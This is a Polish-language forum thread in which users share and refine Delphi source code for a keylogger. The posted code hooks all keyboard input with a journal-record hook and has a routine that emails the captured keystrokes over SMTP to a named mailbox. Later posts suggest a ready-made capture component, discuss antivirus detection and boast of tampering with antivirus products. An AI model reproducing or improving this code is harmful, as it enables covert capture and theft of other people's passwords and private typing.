Keylogger w DELPHI

**myslaf** · 13-07-2009, 11:24

Kod:

unit Unit1;

interface

uses
**Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
**Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
**IdMessageClient, IdSMTP, IdBaseComponent, IdSysLogMessage;

type
**TForm1 = class(TForm)
****Memo1: TMemo;
****MessageSend: TIdSysLogMessage;
****SMTP: TIdSMTP;
****procedure FormDestroy(Sender: TObject);
****procedure FormCreate(Sender: TObject);
**private
****{ Private declarations }
**public
****{ Public declarations }
**end;

var
**Form1: TForm1;
**Hook : Integer;

**MessageBuffer :TEventMsg;
implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;
// prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

Procedure CostamCostam(Sender : TObject);


Begin
MessageSend.Body.Append(&#39;TMemo.Text&#39;; // wprowadzasz treść jako TMemo.Text

MessageSend.From.Name := &#39;Przemo&#39;; //od kogo
MessageSend.From.Address := &#39;szarotki95@op.pl&#39;; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := &#39;keylogger13@op.pl&#39;; //adres e-mail odbiorcy
MessageSend.Subject := &#39;Key&#39;; //temat listu

{ UserName bądź UserId - to jest zeleżne od wersji Indy.}

SMTP .UserName := &#39;szarotki95@op.pl&#39;;
SMTP.Password := &#39;********&#39;;
SMTP.Host := &#39;smtp.poczta.onet.pl&#39;;
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;

end.

**I3L4D3** · 13-07-2009, 11:50

@myslaf
Poprawiłem:

Kod:

unit Unit1;

interface

uses
**Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
**Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
**IdMessageClient, IdSMTP, IdBaseComponent, IdSysLogMessage, IdMessage;

type
**TForm1 = class(TForm)
****Memo1: TMemo;
****SMTP: TIdSMTP;
****MessageSend: TIdMessage;
****procedure FormDestroy(Sender: TObject);
****procedure FormCreate(Sender: TObject);
**private
****{ Private declarations }
**public
****{ Public declarations }
**end;

var
**Form1: TForm1;
**Hook : Integer;

**MessageBuffer :TEventMsg;
implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
**UnHookWindowsHookEx(Hook);
end;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
**case Code of
****HC_ACTION: begin
******MessageBuffer:=PEventMsg(lParam)^;
******if MessageBuffer.message = wm_KeyDown then
******begin
********Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);
********Result:=0;
******end;
****end;
****else
****begin
******Result := CallNextHookEx(Hook, Code, wParam, lParam);
****end;
**end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
**Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

procedure CostamCostam(Sender : TObject);
begin
**Form1.MessageSend.Body.Append(&#39;TMemo.Text&#39;);
**Form1.MessageSend.From.Name := &#39;Przemo&#39;;
**Form1.MessageSend.From.Address := &#39;szarotki95@op.pl&#39;;
**Form1.MessageSend.Recipients.EMailAddresses := &#39;keylogger13@op.pl&#39;;
**Form1.MessageSend.Subject := &#39;Key&#39;;

**Form1.SMTP.UserName := &#39;szarotki95@op.pl&#39;;
**Form1.SMTP.Password := &#39;********&#39;;
**Form1.SMTP.Host := &#39;smtp.poczta.onet.pl&#39;;
**Form1.SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
**Form1.SMTP.Connect;
**try
****Form1.SMTP.Send(Form1.MessageSend);
**finally
****Form1.SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
**end;
end;

end.

**delta12345** · 04-08-2009, 19:47

emilianx co prawda potrafisz przechwycić klawisze ale powinieneś to zrobić w inny sposób a mianowicie tak:
zainstalować komponent KeySpXp następnie wstawić komponent Memo1 i nadać mu nazwę List.
Po wykonaniu tych czynności kliknij dwukrotnie komponent KeyspXp i wpisz następujący kod:

Kod:

procedure TAlfa12.KeySpyXP1Key(Sender: TObject; key: String);
begin
List.text := List.text + key;
List.text:=Stringreplace(List.Text,&#39;{ENTER}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{RightMouseButton}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{LeftMouseButton}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{DELETE}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{Alt}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{shift}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{ctrl}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{TAB}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{LEFT SHIFT}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{UP}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{DOWN}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{RIGHT}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{LEFT}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F1}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F2}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F3}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F4}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F5}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F6}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F7}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F8}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F9}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F10}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F11}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{F12}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{RIGHT CONTROL}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{LEFT ALT}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{BACKSPACE}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{LEFT CONTROL}&#39;,&#39;&#39;,[rfreplaceall]);
List.text:=Stringreplace(List.Text,&#39;{RIGHT ALT}&#39;,&#39;&#39;,[rfreplaceall]);
end;

end.

Wtedy ten keylogger będzie dokładniej przechwytywał z klawiatury.

**grzonu** · 04-08-2009, 19:49

uzyj tego komponentu a potem spojrz na wykrywalnosc

**Damn3d** · 05-08-2009, 13:27

A po co wam w ogóle forma w tym śmiesznym "keyloggerze" ?

Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów[/b]

Niesamowite.

**delta12345** · 06-08-2009, 22:18

Faktycznie forma jest zbędna, w delphi nie potrafię ale w c+ builder robiłem keylogger który wyłapuje klawisze i wszystko zapisuje w pliku txt, następnie wysyła ten plik na emaila jako załącznik.
Ten keylogger używa tylko komponenty do wysyłania emaila i jest o wiele lepszy od keyloggera napisanego w delphi.

**delta12345** · 06-08-2009, 22:20

A poza tym w C+ builder umiem zmieniać niektóre funkcje antywirusów takich jak kaspersky, nod i panda

**djmentos** · 07-08-2009, 08:57

W Delphi też się takie coś da uzyskać pisząc w konsoli.

Temat: Keylogger w DELPHI - krok po kroku

Narzędzia wątku

Typ wyświetlania

Podobne wątki

Keylogger w delphi...

Delphi Keylogger

Keylogger w Delphi

exploity krok po kroku

Uprawnienia